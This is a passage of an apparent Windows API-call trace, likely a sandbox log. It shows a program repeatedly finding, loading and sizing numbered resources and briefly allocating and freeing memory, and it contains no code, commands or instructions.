lpType=0x2) returned 0x470488 [0201.787] SizeofResource (hModule=0x400000, hResInfo=0x470488) returned 0x4c5 [0201.787] LoadResource (hModule=0x400000, hResInfo=0x470488) returned 0x475818 [0201.787] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.787] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.787] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.787] FindResourceW (hModule=0x400000, lpName=0x240, lpType=0x2) returned 0x470498 [0201.787] SizeofResource (hModule=0x400000, hResInfo=0x470498) returned 0x4c5 [0201.787] LoadResource (hModule=0x400000, hResInfo=0x470498) returned 0x475ce0 [0201.787] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.787] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.788] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.788] FindResourceW (hModule=0x400000, lpName=0x241, lpType=0x2) returned 0x4704a8 [0201.788] SizeofResource (hModule=0x400000, hResInfo=0x4704a8) returned 0x4c5 [0201.788] LoadResource (hModule=0x400000, hResInfo=0x4704a8) returned 0x4761a8 [0201.788] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.788] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.788] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.788] FindResourceW (hModule=0x400000, lpName=0x242, lpType=0x2) returned 0x4704b8 [0201.788] SizeofResource (hModule=0x400000, hResInfo=0x4704b8) returned 0x4c5 [0201.788] LoadResource (hModule=0x400000, hResInfo=0x4704b8) returned 0x476670 [0201.788] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.788] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.789] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.789] FindResourceW (hModule=0x400000, lpName=0x243, lpType=0x2) returned 0x4704c8 [0201.789] SizeofResource (hModule=0x400000, hResInfo=0x4704c8) returned 0x4c5 [0201.789] LoadResource (hModule=0x400000, hResInfo=0x4704c8) returned 0x476b38 [0201.789] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.789] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.789] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.789] FindResourceW (hModule=0x400000, lpName=0x244, lpType=0x2) returned 0x4704d8 [0201.789] SizeofResource (hModule=0x400000, hResInfo=0x4704d8) returned 0x4c5 [0201.789] LoadResource (hModule=0x400000, hResInfo=0x4704d8) returned 0x477000 [0201.789] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.789] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.790] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.790] FindResourceW (hModule=0x400000, lpName=0x245, lpType=0x2) returned 0x4704e8 [0201.790] SizeofResource (hModule=0x400000, hResInfo=0x4704e8) returned 0x4c5 [0201.790] LoadResource (hModule=0x400000, hResInfo=0x4704e8) returned 0x4774c8 [0201.790] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.790] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.790] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.790] FindResourceW (hModule=0x400000, lpName=0x246, lpType=0x2) returned 0x4704f8 [0201.790] SizeofResource (hModule=0x400000, hResInfo=0x4704f8) returned 0x4c5 [0201.790] LoadResource (hModule=0x400000, hResInfo=0x4704f8) returned 0x477990 [0201.790] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.790] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.791] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.791] FindResourceW (hModule=0x400000, lpName=0x247, lpType=0x2) returned 0x470508 [0201.791] SizeofResource (hModule=0x400000, hResInfo=0x470508) returned 0x4c5 [0201.791] LoadResource (hModule=0x400000, hResInfo=0x470508) returned 0x477e58 [0201.791] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.791] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.791] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.791] FindResourceW (hModule=0x400000, lpName=0x248, lpType=0x2) returned 0x470518 [0201.791] SizeofResource (hModule=0x400000, hResInfo=0x470518) returned 0x4c5 [0201.791] LoadResource (hModule=0x400000, hResInfo=0x470518) returned 0x478320 [0201.791] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.792] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.792] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.792] FindResourceW (hModule=0x400000, lpName=0x249, lpType=0x2) returned 0x470528 [0201.792] SizeofResource (hModule=0x400000, hResInfo=0x470528) returned 0x4c5 [0201.792] LoadResource (hModule=0x400000, hResInfo=0x470528) returned 0x4787e8 [0201.792] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.792] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.792] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.792] FindResourceW (hModule=0x400000, lpName=0x24a, lpType=0x2) returned 0x470538 [0201.792] SizeofResource (hModule=0x400000, hResInfo=0x470538) returned 0x4c5 [0201.792] LoadResource (hModule=0x400000, hResInfo=0x470538) returned 0x478cb0 [0201.792] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.793] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.793] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.793] FindResourceW (hModule=0x400000, lpName=0x24b, lpType=0x2) returned 0x470548 [0201.793] SizeofResource (hModule=0x400000, hResInfo=0x470548) returned 0x4c5 [0201.793] LoadResource (hModule=0x400000, hResInfo=0x470548) returned 0x479178 [0201.793] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.793] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.793] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.793] FindResourceW (hModule=0x400000, lpName=0x24c, lpType=0x2) returned 0x470558 [0201.793] SizeofResource (hModule=0x400000, hResInfo=0x470558) returned 0x4c5 [0201.793] LoadResource (hModule=0x400000, hResInfo=0x470558) returned 0x479640 [0201.793] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.794] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.794] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.794] FindResourceW (hModule=0x400000, lpName=0x24d, lpType=0x2) returned 0x470568 [0201.794] SizeofResource (hModule=0x400000, hResInfo=0x470568) returned 0x4c5 [0201.794] LoadResource (hModule=0x400000, hResInfo=0x470568) returned 0x479b08 [0201.794] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.794] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.794] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.794] FindResourceW (hModule=0x400000, lpName=0x24e, lpType=0x2) returned 0x470578 [0201.794] SizeofResource (hModule=0x400000, hResInfo=0x470578) returned 0x4c5 [0201.794] LoadResource (hModule=0x400000, hResInfo=0x470578) returned 0x479fd0 [0201.794] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.795] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.795] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.795] FindResourceW (hModule=0x400000, lpName=0x24f, lpType=0x2) returned 0x470588 [0201.795] SizeofResource (hModule=0x400000, hResInfo=0x470588) returned 0x4c5 [0201.795] LoadResource (hModule=0x400000, hResInfo=0x470588) returned 0x47a498 [0201.795] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.795] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.795] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.795] FindResourceW (hModule=0x400000, lpName=0x250, lpType=0x2) returned 0x470598 [0201.796] SizeofResource (hModule=0x400000, hResInfo=0x470598) returned 0x4c5 [0201.796] LoadResource (hModule=0x400000, hResInfo=0x470598) returned 0x47a960 [0201.796] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.796] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.796] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.796] FindResourceW (hModule=0x400000, lpName=0x251, lpType=0x2) returned 0x4705a8 [0201.796] SizeofResource (hModule=0x400000, hResInfo=0x4705a8) returned 0x4c5 [0201.796] LoadResource (hModule=0x400000, hResInfo=0x4705a8) returned 0x47ae28 [0201.796] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.796] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.796] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.797] FindResourceW (hModule=0x400000, lpName=0x252, lpType=0x2) returned 0x4705b8 [0201.797] SizeofResource (hModule=0x400000, hResInfo=0x4705b8) returned 0x4c5 [0201.797] LoadResource (hModule=0x400000, hResInfo=0x4705b8) returned 0x47b2f0 [0201.797] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.797] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.797] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.797] FindResourceW (hModule=0x400000, lpName=0x253, lpType=0x2) returned 0x4705c8 [0201.797] SizeofResource (hModule=0x400000, hResInfo=0x4705c8) returned 0x4c5 [0201.797] LoadResource (hModule=0x400000, hResInfo=0x4705c8) returned 0x47b7b8 [0201.797] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.797] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.798] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.798] FindResourceW (hModule=0x400000, lpName=0x254, lpType=0x2) returned 0x4705d8 [0201.798] SizeofResource (hModule=0x400000, hResInfo=0x4705d8) returned 0x4c5 [0201.798] LoadResource (hModule=0x400000, hResInfo=0x4705d8) returned 0x47bc80 [0201.798] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.798] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.798] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.798] FindResourceW (hModule=0x400000, lpName=0x255, lpType=0x2) returned 0x4705e8 [0201.798] SizeofResource (hModule=0x400000, hResInfo=0x4705e8) returned 0x4c5 [0201.798] LoadResource (hModule=0x400000, hResInfo=0x4705e8) returned 0x47c148 [0201.798] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.799] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.799] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.799] FindResourceW (hModule=0x400000, lpName=0x256, lpType=0x2) returned 0x4705f8 [0201.799] SizeofResource (hModule=0x400000, hResInfo=0x4705f8) returned 0x4c5 [0201.799] LoadResource (hModule=0x400000, hResInfo=0x4705f8) returned 0x47c610 [0201.799] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.799] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.799] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.799] FindResourceW (hModule=0x400000, lpName=0x257, lpType=0x2) returned 0x470608 [0201.799] SizeofResource (hModule=0x400000, hResInfo=0x470608) returned 0x4c5 [0201.799] LoadResource (hModule=0x400000, hResInfo=0x470608) returned 0x47cad8 [0201.800] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.800] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.800] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.800] FindResourceW (hModule=0x400000, lpName=0x258, lpType=0x2) returned 0x470618 [0201.800] SizeofResource (hModule=0x400000, hResInfo=0x470618) returned 0x4c5 [0201.800] LoadResource (hModule=0x400000, hResInfo=0x470618) returned 0x47cfa0 [0201.800] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.800] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.800] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.801] FindResourceW (hModule=0x400000, lpName=0x259, lpType=0x2) returned 0x470628 [0201.801] SizeofResource (hModule=0x400000, hResInfo=0x470628) returned 0x4c5 [0201.801] LoadResource (hModule=0x400000, hResInfo=0x470628) returned 0x47d468 [0201.801] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.801] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.801] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.801] FindResourceW (hModule=0x400000, lpName=0x25a, lpType=0x2) returned 0x470638 [0201.801] SizeofResource (hModule=0x400000, hResInfo=0x470638) returned 0x4c5 [0201.801] LoadResource (hModule=0x400000, hResInfo=0x470638) returned 0x47d930 [0201.801] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.801] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.802] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.802] FindResourceW (hModule=0x400000, lpName=0x25b, lpType=0x2) returned 0x470648 [0201.802] SizeofResource (hModule=0x400000, hResInfo=0x470648) returned 0x4c5 [0201.802] LoadResource (hModule=0x400000, hResInfo=0x470648) returned 0x47ddf8 [0201.802] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.802] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.808] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.808] FindResourceW (hModule=0x400000, lpName=0x25c, lpType=0x2) returned 0x470658 [0201.808] SizeofResource (hModule=0x400000, hResInfo=0x470658) returned 0x4c5 [0201.808] LoadResource (hModule=0x400000, hResInfo=0x470658) returned 0x47e2c0 [0201.808] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.808] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.808] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.808] FindResourceW (hModule=0x400000, lpName=0x25d, lpType=0x2) returned 0x470668 [0201.808] SizeofResource (hModule=0x400000, hResInfo=0x470668) returned 0x4c5 [0201.808] LoadResource (hModule=0x400000, hResInfo=0x470668) returned 0x47e788 [0201.808] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.808] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.809] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.809] FindResourceW (hModule=0x400000, lpName=0x25e, lpType=0x2) returned 0x470678 [0201.809] SizeofResource (hModule=0x400000, hResInfo=0x470678) returned 0x4c5 [0201.809] LoadResource (hModule=0x400000, hResInfo=0x470678) returned 0x47ec50 [0201.809] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.809] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.809] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.809] FindResourceW (hModule=0x400000, lpName=0x25f, lpType=0x2) returned 0x470688 [0201.809] SizeofResource (hModule=0x400000, hResInfo=0x470688) returned 0x4c5 [0201.809] LoadResource (hModule=0x400000, hResInfo=0x470688) returned 0x47f118 [0201.809] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.810] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.810] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.810] FindResourceW (hModule=0x400000, lpName=0x260, lpType=0x2) returned 0x470698 [0201.810] SizeofResource (hModule=0x400000, hResInfo=0x470698) returned 0x4c5 [0201.810] LoadResource (hModule=0x400000, hResInfo=0x470698) returned 0x47f5e0 [0201.810] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.810] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.810] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.810] FindResourceW (hModule=0x400000, lpName=0x261, lpType=0x2) returned 0x4706a8 [0201.810] SizeofResource (hModule=0x400000, hResInfo=0x4706a8) returned 0x4c5 [0201.810] LoadResource (hModule=0x400000, hResInfo=0x4706a8) returned 0x47faa8 [0201.810] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.811] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.811] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.811] FindResourceW (hModule=0x400000, lpName=0x262, lpType=0x2) returned 0x4706b8 [0201.811] SizeofResource (hModule=0x400000, hResInfo=0x4706b8) returned 0x4c5 [0201.811] LoadResource (hModule=0x400000, hResInfo=0x4706b8) returned 0x47ff70 [0201.811] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.811] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.811] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.811] FindResourceW (hModule=0x400000, lpName=0x263, lpType=0x2) returned 0x4706c8 [0201.811] SizeofResource (hModule=0x400000, hResInfo=0x4706c8) returned 0x4c5 [0201.811] LoadResource (hModule=0x400000, hResInfo=0x4706c8) returned 0x480438 [0201.811] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.812] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.812] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.812] FindResourceW (hModule=0x400000, lpName=0x264, lpType=0x2) returned 0x4706d8 [0201.812] SizeofResource (hModule=0x400000, hResInfo=0x4706d8) returned 0x4c5 [0201.812] LoadResource (hModule=0x400000, hResInfo=0x4706d8) returned 0x480900 [0201.812] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.812] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.812] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.812] FindResourceW (hModule=0x400000, lpName=0x265, lpType=0x2) returned 0x4706e8 [0201.812] SizeofResource (hModule=0x400000, hResInfo=0x4706e8) returned 0x4c5 [0201.812] LoadResource (hModule=0x400000, hResInfo=0x4706e8) returned 0x480dc8 [0201.812] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.813] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.813] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.813] FindResourceW (hModule=0x400000, lpName=0x266, lpType=0x2) returned 0x4706f8 [0201.813] SizeofResource (hModule=0x400000, hResInfo=0x4706f8) returned 0x4c5 [0201.813] LoadResource (hModule=0x400000, hResInfo=0x4706f8) returned 0x481290 [0201.813] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.813] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.813] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.813] FindResourceW (hModule=0x400000, lpName=0x267, lpType=0x2) returned 0x470708 [0201.813] SizeofResource (hModule=0x400000, hResInfo=0x470708) returned 0x4c5 [0201.813] LoadResource (hModule=0x400000, hResInfo=0x470708) returned 0x481758 [0201.813] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.814] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.814] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.814] FindResourceW (hModule=0x400000, lpName=0x268, lpType=0x2) returned 0x470718 [0201.814] SizeofResource (hModule=0x400000, hResInfo=0x470718) returned 0x4c5 [0201.814] LoadResource (hModule=0x400000, hResInfo=0x470718) returned 0x481c20 [0201.814] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.814] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.814] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.814] FindResourceW (hModule=0x400000, lpName=0x269, lpType=0x2) returned 0x470728 [0201.814] SizeofResource (hModule=0x400000, hResInfo=0x470728) returned 0x4c5 [0201.815] LoadResource (hModule=0x400000, hResInfo=0x470728) returned 0x4820e8 [0201.815] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.815] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.815] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.815] FindResourceW (hModule=0x400000, lpName=0x26a, lpType=0x2) returned 0x470738 [0201.815] SizeofResource (hModule=0x400000, hResInfo=0x470738) returned 0x4c5 [0201.815] LoadResource (hModule=0x400000, hResInfo=0x470738) returned 0x4825b0 [0201.815] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.815] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.816] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.816] FindResourceW (hModule=0x400000, lpName=0x26b, lpType=0x2) returned 0x470748 [0201.816] SizeofResource (hModule=0x400000, hResInfo=0x470748) returned 0x4c5 [0201.816] LoadResource (hModule=0x400000, hResInfo=0x470748) returned 0x482a78 [0201.816] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.816] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.816] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.816] FindResourceW (hModule=0x400000, lpName=0x26c, lpType=0x2) returned 0x470758 [0201.816] SizeofResource (hModule=0x400000, hResInfo=0x470758) returned 0x4c5 [0201.816] LoadResource (hModule=0x400000, hResInfo=0x470758) returned 0x482f40 [0201.816] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.816] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.817] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.817] FindResourceW (hModule=0x400000, lpName=0x26d, lpType=0x2) returned 0x470768 [0201.817] SizeofResource (hModule=0x400000, hResInfo=0x470768) returned 0x4c5 [0201.817] LoadResource (hModule=0x400000, hResInfo=0x470768) returned 0x483408 [0201.817] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.817] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.817] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.817] FindResourceW (hModule=0x400000, lpName=0x26e, lpType=0x2) returned 0x470778 [0201.817] SizeofResource (hModule=0x400000, hResInfo=0x470778) returned 0x4c5 [0201.817] LoadResource (hModule=0x400000, hResInfo=0x470778) returned 0x4838d0 [0201.817] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.817] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.818] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.818] FindResourceW (hModule=0x400000, lpName=0x26f, lpType=0x2) returned 0x470788 [0201.818] SizeofResource (hModule=0x400000, hResInfo=0x470788) returned 0x4c5 [0201.818] LoadResource (hModule=0x400000, hResInfo=0x470788) returned 0x483d98 [0201.818] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.818] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.818] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.818] FindResourceW (hModule=0x400000, lpName=0x270, lpType=0x2) returned 0x470798 [0201.818] SizeofResource (hModule=0x400000, hResInfo=0x470798) returned 0x4c5 [0201.818] LoadResource (hModule=0x400000, hResInfo=0x470798) returned 0x484260 [0201.818] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.819] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.819] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.819] FindResourceW (hModule=0x400000, lpName=0x271, lpType=0x2) returned 0x4707a8 [0201.819] SizeofResource (hModule=0x400000, hResInfo=0x4707a8) returned 0x4c5 [0201.819] LoadResource (hModule=0x400000, hResInfo=0x4707a8) returned 0x484728 [0201.819] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.819] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.819] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.819] FindResourceW (hModule=0x400000, lpName=0x272, lpType=0x2) returned 0x4707b8 [0201.819] SizeofResource (hModule=0x400000, hResInfo=0x4707b8) returned 0x4c5 [0201.819] LoadResource (hModule=0x400000, hResInfo=0x4707b8) returned 0x484bf0 [0201.819] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.820] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.820] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.820] FindResourceW (hModule=0x400000, lpName=0x273, lpType=0x2) returned 0x4707c8 [0201.820] SizeofResource (hModule=0x400000, hResInfo=0x4707c8) returned 0x4c5 [0201.820] LoadResource (hModule=0x400000, hResInfo=0x4707c8) returned 0x4850b8 [0201.820] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.820] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.820] 